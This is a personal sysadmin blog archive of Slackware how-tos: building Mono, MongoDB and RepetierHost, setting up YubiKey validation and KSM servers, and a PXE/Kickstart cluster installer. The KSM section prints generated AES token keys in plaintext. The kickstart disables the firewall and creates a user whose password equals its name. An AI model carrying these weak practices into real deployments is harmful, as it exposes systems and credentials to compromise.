Delicious

Archives

Categories

Archive for 'Slackware' Category





« »

RepetierHost on Slackware

  ozzie / 27/12/2017

Prerequisite:



download & build libgdiplus

Creating Slackware package:  /tmp/libgdiplus-5.4-i586-1_SBo.tgz
./
install/
install/doinst.sh
install/slack-desc
usr/
usr/doc/
usr/doc/libgdiplus-5.4/
usr/doc/libgdiplus-5.4/README
usr/doc/libgdiplus-5.4/INSTALL
usr/doc/libgdiplus-5.4/LICENSE
usr/doc/libgdiplus-5.4/AUTHORS
usr/doc/libgdiplus-5.4/TODO
usr/doc/libgdiplus-5.4/ChangeLog
usr/doc/libgdiplus-5.4/NEWS
usr/doc/libgdiplus-5.4/MPL-1.1.html
usr/doc/libgdiplus-5.4/libgdiplus.SlackBuild
usr/lib/
usr/lib/pkgconfig/
usr/lib/pkgconfig/libgdiplus.pc
usr/lib/libgdiplus.la
usr/lib/libgdiplus.so.0.0.0
 
Slackware package /tmp/libgdiplus-5.4-i586-1_SBo.tgz created.
root@x86:~# installpkg  /tmp/libgdiplus-5.4-i586-1_SBo.tgz



download & build Mono

usr/lib/pkgconfig/reactive.pc
usr/lib/pkgconfig/wcf.pc
usr/lib/pkgconfig/system.web.extensions.design_1.0.pc
usr/lib/pkgconfig/dotnet.pc
usr/lib/pkgconfig/system.web.mvc.pc
usr/lib/pkgconfig/cecil.pc
usr/lib/pkgconfig/aspnetwebstack.pc
usr/lib/pkgconfig/mono-options.pc
usr/lib/pkgconfig/mono.pc
usr/lib/libmonosgen-2.0.so.1.0.0
usr/lib/libmono-profiler-iomap.la
usr/lib/libmono-profiler-aot-static.la
usr/lib/libmono-profiler-log.so.0.0.0
usr/lib/libMonoPosixHelper.a
usr/lib/libmono-profiler-log.a
usr/lib/libmono-profiler-log-static.la
usr/lib/libmonosgen-2.0.a
usr/lib/libmono-profiler-log.la
usr/lib/libmonoboehm-2.0.so.1.0.0
usr/lib/libmonosgen-2.0.la
usr/lib/libMonoPosixHelper.la
usr/lib/libMonoSupportW.la
usr/lib/libmono-profiler-iomap-static.a
usr/lib/libikvm-native.a
 
Slackware package /tmp/mono-5.0.1.1-i586-1_SBo.tgz created.
root@x86:~# installpkg  /tmp/mono-5.0.1.1-i586-1_SBo.tgz



Download Slic3r

# wget https://dl.slic3r.org/linux/slic3r-linux-x86-1-2-9-stable.tar.gz
# tar zxvf slic3r-linux-x86-1-2-9-stable.tar.gz 
# mv Slic3r /opt/
# /opt/Slic3r/bin/slic3r



Download RepetierHost

# wget http://download.repetier.com/files/host/linux/repetierHostLinux_2_0_5.tgz
# tar zxvf repetierHostLinux_2_0_5.tgz
# mv RepetierHost /opt/



Edit /opt/RepetierHost/repetierHost

#!/bin/sh
cd /rh/linux/RepetierHost
mono RepetierHost.exe -home /rh/linux/RepetierHost&

TO:

#!/bin/sh
cd /opt/RepetierHost
mono RepetierHost.exe -home /opt/RepetierHost&

Exec:

# /opt/RepetierHost/repetierHost



Build MongoDB

  ozzie / 26/12/2017

download Slackbuilds script (https://slackbuilds.org/repository/14.2/system/mongodb/)

# groupadd -g 285 mongo
# useradd -u 285 -d /var/lib/mongodb -s /bin/false -g mongo mongo

download mongodb 3.6.0

# wget https://fastdl.mongodb.org/src/mongodb-src-r3.6.0.tar.gz?_ga=2.101953665.1097124381.1514254447-1902365496.1510723651

edit monogodb.Slackbuild

PRGNAM="mongodb"
VERSION=${VERSION:-3.4.9}
BUILD=${BUILD:-1}
TAG=${TAG:-_SBo}
MAKEJOBS=${MAKEJOBS:-1}

to:

VERSION=${VERSION:-3.6.0}

execute:

# ./mongodb.Slackbuild

ops error:

Compiling build/opt/mongo/scripting/mozjs/base.o
cc1plus: fatal error: js-config.h: No such file or directory
compilation terminated.
scons: *** [build/opt/mongo/scripting/mozjs/base.o] Error 1
scons: building terminated because of errors.
build/opt/mongo/scripting/mozjs/base.o failed: Error 1

copy header js-config.h

#  cp /tmp/SBo/mongodb-src-r3.6.0/src/third_party/mozjs-45/platform/
x86_64/linux/include/js-config.h /usr/include/

re-execute

# ./mongodb.Slackbuild

edit /etc/rc.d/rc.local

if [ -x /etc/rc.d/rc.mongodb ]; then
    /etc/rc.d/rc.mongodb start
fi


slackware-14.2 yubikey Validation

  ozzie / 22/12/2017

Download Source

root@badak2:~# git clone https://github.com/Yubico/yubikey-val.git
Cloning into 'yubikey-val'...
remote: Counting objects: 3150, done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 3150 (delta 0), reused 1 (delta 0), pack-reused 3147
Receiving objects: 100% (3150/3150), 766.74 KiB | 216.00 KiB/s, done.
Resolving deltas: 100% (1940/1940), done.
Checking connectivity... done.



edit Makefile

root@badak2:~# cd yubikey-val/
root@badak2:~/yubikey-val# vi Makefile



From:

wwwgroup = www-data
wwwprefix = /var/www/wsapi

TO:

wwwgroup = apache
wwwprefix = /var/www/htdocs/wsapi


Install

root@badak2:~/yubikey-val# make install
install -D --mode 644 ykval-verify.php /usr/share/yubikey-val/ykval-verify.php
install -D --mode 644 ykval-common.php /usr/share/yubikey-val/ykval-common.php
install -D --mode 644 ykval-synclib.php /usr/share/yubikey-val/ykval-synclib.php
install -D --mode 644 ykval-sync.php /usr/share/yubikey-val/ykval-sync.php
install -D --mode 644 ykval-resync.php /usr/share/yubikey-val/ykval-resync.php
install -D --mode 644 ykval-db.php /usr/share/yubikey-val/ykval-db.php
install -D --mode 644 ykval-db-pdo.php /usr/share/yubikey-val/ykval-db-pdo.php
install -D --mode 644 ykval-db-oci.php /usr/share/yubikey-val/ykval-db-oci.php
install -D --mode 644 ykval-log.php /usr/share/yubikey-val/ykval-log.php
install -D --mode 644 ykval-log-verify.php /usr/share/yubikey-val/ykval-log-verify.php
install -D ykval-queue /usr/sbin/ykval-queue
install -D ykval-synchronize /usr/sbin/ykval-synchronize
install -D ykval-export /usr/sbin/ykval-export
install -D ykval-import /usr/sbin/ykval-import
install -D ykval-gen-clients /usr/sbin/ykval-gen-clients
install -D ykval-export-clients /usr/sbin/ykval-export-clients
install -D ykval-import-clients /usr/sbin/ykval-import-clients
install -D ykval-checksum-clients /usr/sbin/ykval-checksum-clients
install -D ykval-checksum-deactivated /usr/sbin/ykval-checksum-deactivated
install -D ykval-nagios-queuelength.php /usr/sbin/ykval-nagios-queuelength
install -D ykval-queue.1 /usr/share/man/man1/ykval-queue.1
install -D ykval-synchronize.1 /usr/share/man/man1/ykval-synchronize.1
install -D ykval-import.1 /usr/share/man/man1/ykval-import.1
install -D ykval-export.1 /usr/share/man/man1/ykval-export.1
install -D ykval-gen-clients.1 /usr/share/man/man1/ykval-gen-clients.1
install -D ykval-import-clients.1 /usr/share/man/man1/ykval-import-clients.1
install -D ykval-export-clients.1 /usr/share/man/man1/ykval-export-clients.1
install -D ykval-checksum-clients.1 /usr/share/man/man1/ykval-checksum-clients.1
install -D ykval-checksum-deactivated.1 /usr/share/man/man1/ykval-checksum-deactivated.1
install -D ykval-munin-ksmlatency.php /usr/share/munin/plugins/ykval_ksmlatency
install -D ykval-munin-vallatency.php /usr/share/munin/plugins/ykval_vallatency
install -D ykval-munin-queuelength.php /usr/share/munin/plugins/ykval_queuelength
install -D ykval-munin-responses.pl /usr/share/munin/plugins/ykval_responses
install -D ykval-munin-ksmresponses.pl /usr/share/munin/plugins/ykval_ksmresponses
install -D ykval-munin-yubikeystats.php /usr/share/munin/plugins/ykval_yubikeystats
install -D --backup --mode 640 --group apache ykval-config.php /etc/yubico/val/ykval-config.php
install -D --mode 644 ykval-db.sql /usr/share/doc/yubikey-val/ykval-db.sql
install -D --mode 644 ykval-db.oracle.sql /usr/share/doc/yubikey-val/ykval-db.oracle.sql
install -D --mode 644 doc/Generating_Clients.adoc doc/Getting_Started_Writing_Clients.adoc 
doc/Import_Export_Data.adoc doc/Installation.adoc doc/Make_Release.adoc doc/Munin_Probes.adoc 
doc/Revocation_Service.adoc doc/Server_Replication_Protocol.adoc doc/Sync_Monitor.adoc 
doc/Troubleshooting.adoc doc/Validation_Protocol_V2.0.adoc doc/Validation_Server_Algorithm.adoc 
doc/YubiKey_Info_Format.adoc /usr/share/doc/yubikey-val/


Setup & Import MySQL

root@badak2:~/yubikey-val# mysql_install_db --user=mysql
Installing MariaDB/MySQL system tables in '/var/lib/mysql' ...
171222  0:38:39 [Note] /usr/libexec/mysqld (mysqld 10.0.26-MariaDB) starting as process 1116 ...
171222  0:38:39 [Note] InnoDB: Using mutexes to ref count buffer pool pages
171222  0:38:39 [Note] InnoDB: The InnoDB memory heap is disabled
171222  0:38:39 [Note] InnoDB: Mutexes and rw_locks use GCC atomic builtins
 
root@badak2:~/yubikey-val# chmod  +x /etc/rc.d/rc.mysqld
root@badak2:~/yubikey-val# /etc/rc.d/rc.mysqld  start
 
root@badak2:~/yubikey-val# mysql -u root -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 4
Server version: 10.0.26-MariaDB MariaDB Server
 
Copyright (c) 2000, 2016, Oracle, MariaDB Corporation Ab and others.
 
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> create database ykval;
Query OK, 1 row affected (0.00 sec)
MariaDB [(none)]> \q
Bye
 
root@badak2:~/yubikey-val# mysql -u root -p ykval < /usr/share/doc/yubikey-val/ykval-db.sql
Enter password:



SETUP OTP interface

root@badak2:~/yubikey-val# make symlink
install -d /var/www/htdocs/wsapi/2.0
ln -sf /usr/share/yubikey-val/ykval-verify.php /var/www/htdocs/wsapi/2.0/verify.php
ln -sf /usr/share/yubikey-val/ykval-sync.php /var/www/htdocs/wsapi/2.0/sync.php
ln -sf /usr/share/yubikey-val/ykval-resync.php /var/www/htdocs/wsapi/2.0/resync.php
ln -sf 2.0/verify.php /var/www/htdocs/wsapi/verify.php
root@badak2:~/yubikey-val#


add to php.ini

include_path ".:/etc/yubico/val:/usr/share/yubikey-val"

enable httpd, php, PDO

root@badak2:~/yubikey-val# chmod  +x /etc/rc.d/rc.httpd
root@badak2:~/yubikey-val# /etc/rc.d/rc.httpd start



configure .htaccess

RewriteEngine on
RewriteRule ^([^/\.\?]+)(\?.*)?$ $1.php$2 [L]



TEST

root@badak2:~#  wget -q -O - 'http://localhost/wsapi/2.0/verify
id=1&nonce=asdmalksdmlkasmdlkasmdlakmsdaasklmdlak&otp=dteffujehknhfjbrj
nlnldnhcujvddbikngjrtgh'
h=oVM9kkOCsoXtYkNrWlREc7iJny0=
t=2017-12-21T18:04:06Z0202
status=NO_SUCH_CLIENT


req:
Slackware Linux
Apache, PHP, MySQL, OpenPGP
yubikey-KSM

Download source

root@badak1:~# git clone https://github.com/Yubico/yubikey-ksm.git
Cloning into 'yubikey-ksm'...
remote: Counting objects: 681, done.
remote: Total 681 (delta 0), reused 0 (delta 0), pack-reused 681
Receiving objects: 100% (681/681), 133.22 KiB | 154.00 KiB/s, done.
Resolving deltas: 100% (398/398), done.
Checking connectivity... done.
root@badak1:~#



edit Makefile

root@badak1:~# cd yubikey-ksm/
root@badak1:~/yubikey-ksm# vi Makefile



FROM

wwwgroup = www-data
wwwprefix = /var/www/wsapi

TO

wwwgroup = apache
wwwprefix = /var/www/htdocs/wsapi


Build & Install

root@badak1:~/yubikey-ksm# make install
install -D --mode 640 .htaccess /usr/share/yubikey-ksm/.htaccess
install -D --mode 640 ykksm-decrypt.php /usr/share/yubikey-ksm/ykksm-decrypt.php
install -D --mode 640 ykksm-utils.php /usr/share/yubikey-ksm/ykksm-utils.php
install -D ykksm-gen-keys /usr/bin/ykksm-gen-keys
install -D ykksm-import /usr/bin/ykksm-import
install -D ykksm-export /usr/bin/ykksm-export
install -D ykksm-checksum /usr/bin/ykksm-checksum
install -D --backup --mode 640 --group apache ykksm-config.php /etc/yubico/ksm/ykksm-config.php
install -D ykksm-gen-keys.1 /usr/share/man/man1/ykksm-gen-keys.1
install -D ykksm-import.1 /usr/share/man/man1/ykksm-import.1
install -D ykksm-export.1 /usr/share/man/man1/ykksm-export.1
install -D ykksm-checksum.1 /usr/share/man/man1/ykksm-checksum.1
install -D ykksm-db.sql /usr/share/doc/yubikey-ksm/ykksm-db.sql
install -D Makefile /usr/share/doc/yubikey-ksm/ykksm.mk
install -D doc/Decryption_Protocol.adoc doc/Design_Goals.adoc doc/Generate_Keys.adoc 
doc/Generate_KSM_Key.adoc doc/Import_Keys_To_KSM.adoc doc/Installation.adoc 
doc/Key_Provisioning_Format.adoc doc/Server_Hardening.adoc doc/Sync_Monitor.adoc 
/usr/share/doc/yubikey-ksm/
root@badak1:~/yubikey-ksm#



Configure & Import MySQL

root@badak1:~# mysql_install_db --user=mysql
root@badak1:~# chmod 755 /etc/rc.d/rc.mysqld
root@badak1:~# /etc/rc.d/rc.mysqld  start
root@badak1:~# mysql -u root -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 3
Server version: 10.0.26-MariaDB MariaDB Server
 
Copyright (c) 2000, 2016, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> create database ykksm;
Query OK, 1 row affected (0.00 sec)
MariaDB [(none)]> \q
Bye
root@badak1:~# mysql -u root -p ykksm < /usr/share/doc/yubikey-ksm/ykksm-db.sql


Edit php.ini

include_path = "/etc/yubico/ksm:/usr/share/yubikey-ksm"


Install OTP

root@badak1:~/yubikey-ksm# make -f /usr/share/doc/yubikey-ksm/ykksm.mk symlink
install -d /var/www/htdocs/wsapi
ln -sf /usr/share/yubikey-ksm/.htaccess /var/www/htdocs/wsapi/.htaccess
ln -sf /usr/share/yubikey-ksm/ykksm-decrypt.php /var/www/htdocs/wsapi/decrypt.php
root@badak1:~/yubikey-ksm#


Generate KSM Key

root@badak1:~# gpg --gen-key
gpg (GnuPG) 1.4.20; Copyright (C) 2015 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
 
gpg: directory `/root/.gnupg' created
gpg: new configuration file `/root/.gnupg/gpg.conf' created
gpg: WARNING: options in `/root/.gnupg/gpg.conf' are not yet active during this run
gpg: keyring `/root/.gnupg/secring.gpg' created
gpg: keyring `/root/.gnupg/pubring.gpg' created
Please select what kind of key you want:
   (1) RSA and RSA (default)
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
Your selection? 1
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048)
Requested keysize is 2048 bits
Please specify how long the key should be valid.
         0 = key does not expire
      <n>  = key expires in n days
      <n>w = key expires in n weeks
      <n>m = key expires in n months
      <n>y = key expires in n years
Key is valid for? (0)
Key does not expire at all
Is this correct? (y/N) Y
 
You need a user ID to identify your key; the software constructs the user ID
from the Real Name, Comment and Email Address in this form:
    "Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>"
 
Real name: ozzienich
Email address: penjaga@kebonbinatang.org
Comment: --
You selected this USER-ID:
    "ozzienich (--) <penjaga@kebonbinatang.org>"
 
Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O
You need a Passphrase to protect your secret key.
 
gpg: /root/.gnupg/trustdb.gpg: trustdb created
gpg: key 654FBFAC marked as ultimately trusted
public and secret key created and signed.
 
gpg: checking the trustdb
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0  valid:   1  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 1u
pub   2048R/654FBFAC 2017-12-21
      Key fingerprint = 573F 524E 5A53 C893 87E4  AA47 5D00 059F 654F BFAC
uid                  ozzienich (--) <penjaga@kebonbinatang.org>
sub   2048R/EA96F715 2017-12-21
 
root@badak1:~# gpg --list-key
/root/.gnupg/pubring.gpg
------------------------
pub   2048R/654FBFAC 2017-12-21
uid                  ozzienich (--) <penjaga@kebonbinatang.org>
sub   2048R/EA96F715 2017-12-21


Generate Keys

root@badak1:~# ykksm-gen-keys --urandom 1 10 | gpg -a --encrypt -r 654FBFAC  -s > keys.txt
You need a passphrase to unlock the secret key for
user: "ozzienich (--) <penjaga@kebonbinatang.org>"
2048-bit RSA key, ID 654FBFAC, created 2017-12-21
 
root@badak1:~# gpg < keys.txt
You need a passphrase to unlock the secret key for
user: "ozzienich (--) <penjaga@kebonbinatang.org>"
2048-bit RSA key, ID EA96F715, created 2017-12-21 (main key ID 654FBFAC)
 
gpg: encrypted with 2048-bit RSA key, ID EA96F715, created 2017-12-21
      "ozzienich (--) <penjaga@kebonbinatang.org>"
# ykksm 1
# serialnr,identity,internaluid,aeskey,lockpw,created,accessed[,progflags]
1,cccccccccccb,8f571fa25058,fb97d03b7126d1cde2437a9dedac3f28,581a6c4ed37e,2017-12-21T15:38:02,
2,cccccccccccd,5b77a49decb3,0f6d2512cd851fecf62ac563ed6a8a28,2494828d32a8,2017-12-21T15:38:02,
3,ccccccccccce,5fb827ac0f57,09857027dd82a0ac835701cd54fe4b7d,c18b216cfa9c,2017-12-21T15:38:02,
4,cccccccccccf,33fb7d3c6875,fdf7bdc7af6f84fece2d8d3e36e2da37,dc7191563906,2017-12-21T15:38:02,
5,cccccccccccg,df3e9f911fbe,455acd1d2ce2297964dd003af33651f4,f0ef56b46c92,2017-12-21T15:38:02,
6,ccccccccccch,2c525fc6fbd6,6412532c160cb7a66c69d79372d84115,da95b9e2b6ce,2017-12-21T15:38:02,
7,ccccccccccci,acfab204f600,aea86d571d39224d9eadc7c1a323b5f2,22d8ddbee8e2,2017-12-21T15:38:02,
8,cccccccccccj,bd602f2c5a0b,1407a47e262a4d5e42d2c9dd0529a95f,f351df3fea41,2017-12-21T15:38:02,
9,ccccccccccck,9f674f8d73f2,f27505d5deda0c4dc33764e7bf009afa,537c32f72293,2017-12-21T15:38:02,
10,cccccccccccl,ae986cf8f6d6,84cc170bc1c9e4c9381a6cca46140bac,75aeb77c0c20,2017-12-21T15:38:02,
# the end
gpg: Signature made Thu 21 Dec 2017 03:38:02 PM WIB using RSA key ID 654FBFAC
gpg: Good signature from "ozzienich (--) <penjaga@kebonbinatang.org>"
root@badak1:~#



Import Keys To Yubikey KSM

root@badak1:~# ykksm-import --verbose --database 'DBI:mysql:dbname=ykksm;host=localhost' --db-user XXXX --db-passwd XXXX < ~/keys.txt
 
You need a passphrase to unlock the secret key for
user: "ozzienich (--) <penjaga@kebonbinatang.org>"
2048-bit RSA key, ID EA96F715, created 2017-12-21 (main key ID 654FBFAC)
 
Verification output:
[GNUPG:] ENC_TO F13DAD25EA96F715 1 0
[GNUPG:] USERID_HINT F13DAD25EA96F715 ozzienich (--) <penjaga@kebonbinatang.org>
[GNUPG:] NEED_PASSPHRASE F13DAD25EA96F715 5D00059F654FBFAC 1 0
[GNUPG:] GOOD_PASSPHRASE
gpg: encrypted with 2048-bit RSA key, ID EA96F715, created 2017-12-21
      "ozzienich (--) <penjaga@kebonbinatang.org>"
[GNUPG:] BEGIN_DECRYPTION
[GNUPG:] DECRYPTION_INFO 2 9
[GNUPG:] PLAINTEXT 62 1513845482
gpg: Signature made Thu 21 Dec 2017 03:38:02 PM WIB using RSA key ID 654FBFAC
[GNUPG:] SIG_ID tYngCEEO/FWR5YCuKihwjTajxo0 2017-12-21 1513845482
[GNUPG:] GOODSIG 5D00059F654FBFAC ozzienich (--) <penjaga@kebonbinatang.org>
gpg: Good signature from "ozzienich (--) <penjaga@kebonbinatang.org>"
[GNUPG:] VALIDSIG 573F524E5A53C89387E4AA475D00059F654FBFAC 2017-12-21 1513845482 0 4 0 1 8 00 573F524E5A53C89387E4AA475D00059F654FBFAC
[GNUPG:] TRUST_ULTIMATE
[GNUPG:] DECRYPTION_OKAY
[GNUPG:] GOODMDC
[GNUPG:] END_DECRYPTION
encrypted to: F13DAD25EA96F715
signed by: 654FBFAC
 
You need a passphrase to unlock the secret key for
user: "ozzienich (--) <penjaga@kebonbinatang.org>"
2048-bit RSA key, ID EA96F715, created 2017-12-21 (main key ID 654FBFAC)
 
line: 1,cccccccccccb,8f571fa25058,fb97d03b7126d1cde2437a9dedac3f28,581a6c4ed37e,2017-12-21T15:38:02,
        serialnr 1 publicname cccccccccccb internalname 8f571fa25058 aeskey fb97d03b7126d1cde2437a9dedac3f28 
lockcode 581a6c4ed37e created 2017-12-21T15:38:02 accessed  eol
line: 2,cccccccccccd,5b77a49decb3,0f6d2512cd851fecf62ac563ed6a8a28,2494828d32a8,2017-12-21T15:38:02,
        serialnr 2 publicname cccccccccccd internalname 5b77a49decb3 aeskey 0f6d2512cd851fecf62ac563ed6a8a28 
lockcode 2494828d32a8 created 2017-12-21T15:38:02 accessed  eol
line: 3,ccccccccccce,5fb827ac0f57,09857027dd82a0ac835701cd54fe4b7d,c18b216cfa9c,2017-12-21T15:38:02,
        serialnr 3 publicname ccccccccccce internalname 5fb827ac0f57 aeskey 09857027dd82a0ac835701cd54fe4b7d 
lockcode c18b216cfa9c created 2017-12-21T15:38:02 accessed  eol
line: 4,cccccccccccf,33fb7d3c6875,fdf7bdc7af6f84fece2d8d3e36e2da37,dc7191563906,2017-12-21T15:38:02,
        serialnr 4 publicname cccccccccccf internalname 33fb7d3c6875 aeskey fdf7bdc7af6f84fece2d8d3e36e2da37 
lockcode dc7191563906 created 2017-12-21T15:38:02 accessed  eol
line: 5,cccccccccccg,df3e9f911fbe,455acd1d2ce2297964dd003af33651f4,f0ef56b46c92,2017-12-21T15:38:02,
        serialnr 5 publicname cccccccccccg internalname df3e9f911fbe aeskey 455acd1d2ce2297964dd003af33651f4 
lockcode f0ef56b46c92 created 2017-12-21T15:38:02 accessed  eol
line: 6,ccccccccccch,2c525fc6fbd6,6412532c160cb7a66c69d79372d84115,da95b9e2b6ce,2017-12-21T15:38:02,
        serialnr 6 publicname ccccccccccch internalname 2c525fc6fbd6 aeskey 6412532c160cb7a66c69d79372d84115 
lockcode da95b9e2b6ce created 2017-12-21T15:38:02 accessed  eol
line: 7,ccccccccccci,acfab204f600,aea86d571d39224d9eadc7c1a323b5f2,22d8ddbee8e2,2017-12-21T15:38:02,
        serialnr 7 publicname ccccccccccci internalname acfab204f600 aeskey aea86d571d39224d9eadc7c1a323b5f2 
lockcode 22d8ddbee8e2 created 2017-12-21T15:38:02 accessed  eol
line: 8,cccccccccccj,bd602f2c5a0b,1407a47e262a4d5e42d2c9dd0529a95f,f351df3fea41,2017-12-21T15:38:02,
        serialnr 8 publicname cccccccccccj internalname bd602f2c5a0b aeskey 1407a47e262a4d5e42d2c9dd0529a95f 
lockcode f351df3fea41 created 2017-12-21T15:38:02 accessed  eol
line: 9,ccccccccccck,9f674f8d73f2,f27505d5deda0c4dc33764e7bf009afa,537c32f72293,2017-12-21T15:38:02,
        serialnr 9 publicname ccccccccccck internalname 9f674f8d73f2 aeskey f27505d5deda0c4dc33764e7bf009afa 
lockcode 537c32f72293 created 2017-12-21T15:38:02 accessed  eol
line: 10,cccccccccccl,ae986cf8f6d6,84cc170bc1c9e4c9381a6cca46140bac,75aeb77c0c20,2017-12-21T15:38:02,
        serialnr 10 publicname cccccccccccl internalname ae986cf8f6d6 aeskey 84cc170bc1c9e4c9381a6cca46140bac 
lockcode 75aeb77c0c20 created 2017-12-21T15:38:02 accessed  eol


Raspberry Pi – Slackware

  ozzie / 08/12/2012
# wget http://www.daves-collective.co.uk/raspi/images/raspi-slack-installer_01Aug12.img.xz
# xz -dc raspi-slack-installer_01Aug12.img.xz | dd of=/dev/mmcblk0  bs=65536

install Slackware seperti biasa (via network) sampai selesai.. tapi jgn reboot

# mount -t vfat /dev/mmcblk0p1 /mnt/boot
# ROOT=/mnt installpkg /raspi-extra/kernel* /raspi-extra/raspi*
# reboot



tadaaaaaa <:-p

ref :

http://www.daves-collective.co.uk/raspi/
http://elinux.org/RPi_Low-level_peripherals



PXE installer

  ozzie / 27/11/2012

just share & sekedar dokumentasi:
mungkin judulnya Gado-gado dari PXE (Preboot eXecution Environment) installer cross distro :)) :))

jika sekedar install system cluster linux pada 1, 2, 3 atau 5 mungkin gak ada masalah :-??
tapi…. jika install cluster di 100?… 200?… 500 mesin linux? atau lebih?? demi High-Availability 8-> cabut colok monitor keyboard? apeee dehh 8-} 8-}

mungkin lebih tepatnya: “create RedHat/CentOS automatic installer dgn TFTp / Kickstart & NFS di slackware” cmmiw :">

1. TFTP
untuk slackware ada 2 cara mengaktifkan service tftp:
- via service rc.inetd (/etc/inet.d.conf)

tftp  dgram   udp     wait    root    /usr/sbin/in.tftpd  in.tftpd -s /tftpboot -r blksize

- atau create init script (/etc/rc.d/rc.tftpd)

#!/bin/sh
# Start/stop/restart the IPv4 Trivial File Transfer Protocol server (in.tftpd)
# Written for Slackware Linux by Erik Jan Tromp
 
tftpd_start() {
  if [ -x /usr/sbin/in.tftpd ]; then
    echo "Starting in.tftpd:  /usr/sbin/in.tftpd -l -s /tftpboot/"
    /usr/sbin/in.tftpd -l -s /tftpboot/
  fi
}
 
tftpd_stop() {
  killall in.tftpd
}
 
tftpd_restart() {
  tftpd_stop
  sleep 1
  tftpd_start
}
 
case "$1" in
'start')
  tftpd_start
  ;;
'stop')
  tftpd_stop
  ;;
'restart')
  tftpd_restart
  ;;
*)
  echo "usage: $0 start|stop|restart"
esac

buat direktory /tftpboot & copy pxelinux.0 dari CD/DVD RedHat/CentOS & create pxelinux.cfg

# mkdir /tftpboot
# mkdir /tftpboot/pxelinux.cfg
#
# cp /mnt/cdrom/images/pxelinux.0  /tftpboot/pxelinux.0
# cd /tftpboot/pxelinux.cfg
# vi default

isi dari file konfigurasi default tftpboot:

default RHEL-Kickstart
label RHEL-Kickstart
  kernel isolinux/vmlinuz
  append initrd=isolinux/initrd.img text  ks=nfs:10.0.5.250:/tftpboot/kickstart/default.ks ksdevice=eth0

2. DHCP
- init script dhcp (/etc/rc.d/rc.dhcpd)

#!/bin/sh
# Start/stop/restart the DHCP Server (dhcpd)
# Written for Slackware Linux by Erik Jan Tromp
dhcpd_start() {
  if [ -x /usr/sbin/dhcpd -a -f /etc/dhcpd.conf ]; then
    echo "Starting dhcpd:  /usr/sbin/dhcpd -q eth0"
    /usr/sbin/dhcpd -q eth0
  fi
}
 
dhcpd_stop() {
  if [ -r /var/run/dhcpd.pid ] ; then
    kill `cat /var/run/dhcpd.pid`
  else
    killall dhcpd
  fi
}
 
dhcpd_restart() {
  dhcpd_stop
  sleep 1
  dhcpd_start
}
 
case "$1" in
'start')
  dhcpd_start
  ;;
'stop')
  dhcpd_stop
  ;;
'restart')
  dhcpd_restart
  ;;
*)
  echo "usage: $0 start|stop|restart"
esac

- konfigurasi DHCP (/etc/dhcpd.conf)

# dhcpd.conf
#
# Configuration file for ISC dhcpd
#
allow bootp;
 
 
subnet 10.0.5.0 netmask 255.255.255.0 {
    option domain-name "kebonbinatang.org";
    option broadcast-address 10.0.5.255;
    option subnet-mask 255.255.255.0;
    option routers 10.0.5.254;
}
 
group {
  next-server 10.0.5.250;          
  filename "/pxelinux.0";
 
  host node1 {
        hardware ethernet xx:xx:xx:xx:xx:xx;
        fixed-address 10.0.5.1;
  }
  host node2 {
        hardware ethernet xx:xx:xx:xx:xx:xx;
	fixed-address 10.0.5.2;
  }
  host node3 {
        hardware ethernet xx:xx:xx:xx:xx:xx;
        fixed-address 10.0.5.3;
  }
  host node4 {
        hardware ethernet xx:xx:xx:xx:xx:xx;
        fixed-address 10.0.5.4;
  }
 
  ... Dan SeTerusnya....
}

3. NFS
- aktifkan service nfs & rpc

# chmod +x /etc/rc.nfsd
# chmod +x /etc/rc.rpc

- edit file /etc/exports

/tftpboot       10.0.5.0/24(ro,sync,insecure,all_squash)

4. Source Installer
- copy semua isi CD/DVD & buat file konfigurasi kickstart

# cp -rvf /mnt/cdrom /tftpboot
# mkdir /tftpboot/kickstart

- edit file /tftpboot/kickstart/default.ks

text   #text base installation
install  #fresh install
network --device=eth0 --bootproto=dhcp  --noipv6 #configure network based on alokasi dhcp
nfs --server=10.0.5.250 --dir=/tftpboot  #media pd saat install
lang en_US.UTF-8
keyboard us  #keyboard map
rootpw passwordnya-siroot 
#firewall --service=ssh #enable ssh
firewall --disabled  #disable firewall.. cuma lokal no public
selinux --enforcing
authconfig --enableshadow --enablemd5
timezone Asia/Jakarta
bootloader --location=mbr --append="noexec=off"
skipx
reboot  #udh beres auto reboot
zerombr yes 
clearpart --all --initlabel  #bantai partisi
part /boot --fstype ext3 --size=150 --ondisk=sda #bikin partisi boot
part pv.01 --size=1 --grow --ondisk=sda # LVM
part pv.02 --size=1 --grow --ondisk=sda
volgroup rootvg pv.01
volgroup satvg pv.02
logvol /    --vgname=rootvg --size=xxxxxx --name=rootvol
logvol swap --vgname=rootvg --size=xxxxxx --name=swapvol
auth  --useshadow  --enablemd5
 
%packages 
@core
@high-availability
mc
drbd
 
%post
(
/bin/echo "Welcome to $HOSTNAME " > /etc/motd 
/bin/echo "Built from kickstart version $VER " >> /etc/motd
/bin/echo " " >> /etc/motd
 
## sedikit tweak
cat >> /etc/sysctl.conf << EOF
fs.aio-max-size = 1048576
fs.file-max = 327680
net.core.rmem_max = 262144
net.core.wmem_max = 262144
net.core.rmem_default = 262144
net.core.wmem_default = 262144
net.ipv4.ip_local_port_range = 1024 65000
net.ipv4.ip_forward = 0
kernel.shmmax = 2147483648
kernel.shmmni = 4096
kernel.sem = 250 32000 100 128
EOF
 
# Add  user sesuka hati
useradd -c "user cacad" -d /home/cacad cacad
echo cacad | passwd --stdin cacad
 
#edit host
cat > /etc/hosts << EOF
127.0.0.1       localhost.localdomain           localhost
10.0.5.1		node1.kebonbinatang.org	node1
10.0.5.2		node2.kebonbinatang.org	node2
10.0.5.3		node3.kebonbinatang.org	node3
10.0.5.4		node4.kebonbinatang.org	node4
10.0.5.5		node5.kebonbinatang.org	node5
10.0.5.6		node6.kebonbinatang.org	node6
